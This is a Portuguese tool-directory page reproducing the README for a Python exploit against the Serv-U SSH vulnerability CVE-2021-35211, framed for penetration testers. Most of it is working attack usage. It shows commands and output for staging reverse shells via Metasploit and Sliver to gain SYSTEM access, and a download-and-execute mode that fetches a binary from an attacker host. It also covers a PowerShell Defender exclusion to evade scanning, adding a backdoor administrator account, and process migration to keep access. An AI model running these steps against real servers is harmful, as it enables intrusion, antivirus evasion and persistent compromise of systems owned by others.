Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-35211 — Exploit em Python para a vulnerabilidade do Serv-U SSH (CVE-2021-35211) com múltiplos modos de payload: stage, exec e download-execute, permitindo execução de shellcode e injeção de comandos. | Kitploit
Ferramentas/GitHubGitHub/bishopfox/cve-2021-35211
Frameworks de ExploraçãoGeração de PayloadsAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed TeamingGeração de ShellcodeDesenvolvimento de PayloadsExploração de Binários
GitHubbishopfox/cve-2021-35211

CVE-2021-35211

Exploit em Python para a vulnerabilidade do Serv-U SSH (CVE-2021-35211) com múltiplos modos de payload: stage, exec e download-execute, permitindo execução de shellcode e injeção de comandos.

399há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

Exploit Serv-U CVE-2021-35211

Potencial para DoS - verifique suas regras de engajamento

O exploit não funciona todas as vezes, mas funciona o suficiente para executar shellcode em cerca de 1 a cada 5 ou 6 execuções. No entanto, às vezes um exploit malsucedido derruba o servidor Serv-U. Certifique-se de que suas regras de engajamento permitam o risco de perda ou degradação do serviço. Os sintomas observados nos testes incluem:

  • travamento e reinicialização automática (mais comum)
  • desconectar usuários logados durante tentativas bem-sucedidas e mal-sucedidas
  • travamento sem reinicialização automática

Caveat emptor.

Início Rápido

Versões são importantes. Este exploit usa endereços ROP fixos (hard-coded) válidos apenas contra a versão 15.2.3.717 do Serv-U. Talvez possamos adicionar outras versões; por favor, pergunte se você precisar que funcione com versões diferentes do Serv-U ou do Windows.

Verifique a versão do seu alvo

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Executando o exploit

Ele aceita os seguintes argumentos:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Há três modos (ou payloads) que você pode usar em um ataque bem-sucedido:

  1. stage
  2. exec
  3. downloadexec

Modo stage

Após um exploit bem-sucedido, executa um stager de shellcode compatível com Metasploit/Sliver. É o menos confiável de todos os payloads; considere `downloadexec1 em vez disso. Execute assim:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost e stagePort apontarão para um handler em escuta na sua máquina Sliver/Metasploit. Você pode escolher qualquer payload, mas descobri que o único que funciona de forma confiável é windows/x64/shell/reverse_tcp. Isso é uma pena, pois não se trata de um shell criptografado e você precisará verificar suas regras de engajamento antes de abrir algo assim.

Novamente, caveat emptor.

Configure-o no Metasploit rodando na sua máquina Kali assim:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Então execute o exploit:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

De volta à máquina Kali, você deve ver a solicitação do stage e o shell de comando iniciando:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

O suporte a Sliver no payload stager é altamente experimental e raramente funciona. Se funcionar, normalmente você verá as sessões iniciarem e morrerem imediatamente. Mas se você conseguir uma sessão que não termine imediatamente, poderá tomar medidas para manter seu acesso Sliver migrando para outro processo.

No seu servidor Sliver, execute o comando stage-listener para configurar seu listener. Veja a documentação do Sliver para mais detalhes sobre staging:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Execute o exploit no modo stage:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Se o exploit funcionar (e raramente funciona com payloads Sliver ou Meterpreter), você verá algo assim (e sim, o Sliver inventou esse nome de payload sozinho!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

A primeira coisa que você deve fazer é migrar para outro processo, porque há uma boa chance de sua sessão Sliver morrer e não voltar, e eu não sei a causa raiz no momento em que escrevo isto.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

Nesse ponto, você deve ter uma sessão Sliver sólida, imune às imprevisibilidades do Serv-U e deste exploit.

Modo de download e execução

É o modo mais confiável e o menos provável de ser sinalizado pela segurança de endpoint do Microsoft Defender. Isso porque ele usa um comando do Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") para adicionar uma exclusão de diretório ao Microsoft Defender, de modo que binários Sliver/Meterpreter/qualquer coisa não sejam verificados em busca de malware. Isso protegerá você contra o Windows Defender, mas só isso; você precisará considerar outras tecnologias de segurança de endpoint, IDS de rede, etc.

Em caso de sucesso, baixa um binário de uma URL e o executa. Você precisará de um servidor web hospedando seu arquivo executável. Eu usei Python, mas observe que estou testando em uma rede local sem SSL. Em explorações reais, você precisará verificar suas regras de engajamento se quiser usar URLs não criptografadas.

Não é a primeira vez: caveat emptor.

Execute um listener HTTP simples assim:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Com o listener em execução, você pode executar o exploit:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Você deve ver algo assim no seu listener:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

O alvo executará calc.exe e reiniciará o serviço Serv-U para permitir que os usuários voltem a se conectar. Observe que o executável não exibirá uma janela, mas se você executar este exemplo, deverá ver wincalc.exe no Gerenciador de Tarefas.

Modo de execução de comandos

Em caso de sucesso, executa um comando no alvo. Execute assim:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Créditos

  • Os pesquisadores da Microsoft que fizeram fuzzing na vulnerabilidade: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson fez o PoC no qual meu código se baseia: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Considerações finais

Este exploit tende a derrubar o processo remoto, infelizmente. Geralmente ele reinicia e estou tentando ver se consigo torná-lo mais estável, mas até lá, por favor, lembre-se: verifique suas regras de engajamento e caveat emptor.

O fato de o ASLR estar desabilitado na dll do Serv-U foi uma sorte absurda e poupou muita dor de cabeça.

Outras mitigações, como o Control Flow Guard ("CFG"), também estavam desabilitadas. Isso novamente facilitou a escrita de um exploit sem precisar contornar o acesso restrito a funções críticas, como GetProcAddress().

Vale destacar que o método que uso para calcular o endereço da pilha ROP pode, ocasionalmente, gerar um endereço que não está alinhado a 64 bits. Como resultado, quando GetProcAddress() atinge uma instrução MOVAPS (que exige que os endereços de memória estejam alinhados), o exploit trava. Para tornar o exploit mais confiável, uma solução seria forçar a pilha ROP a ficar localizada em um endereço alinhado; isso exigiria alguma manipulação do payload ROP e fica como exercício para o leitor.

Baixar ferramenta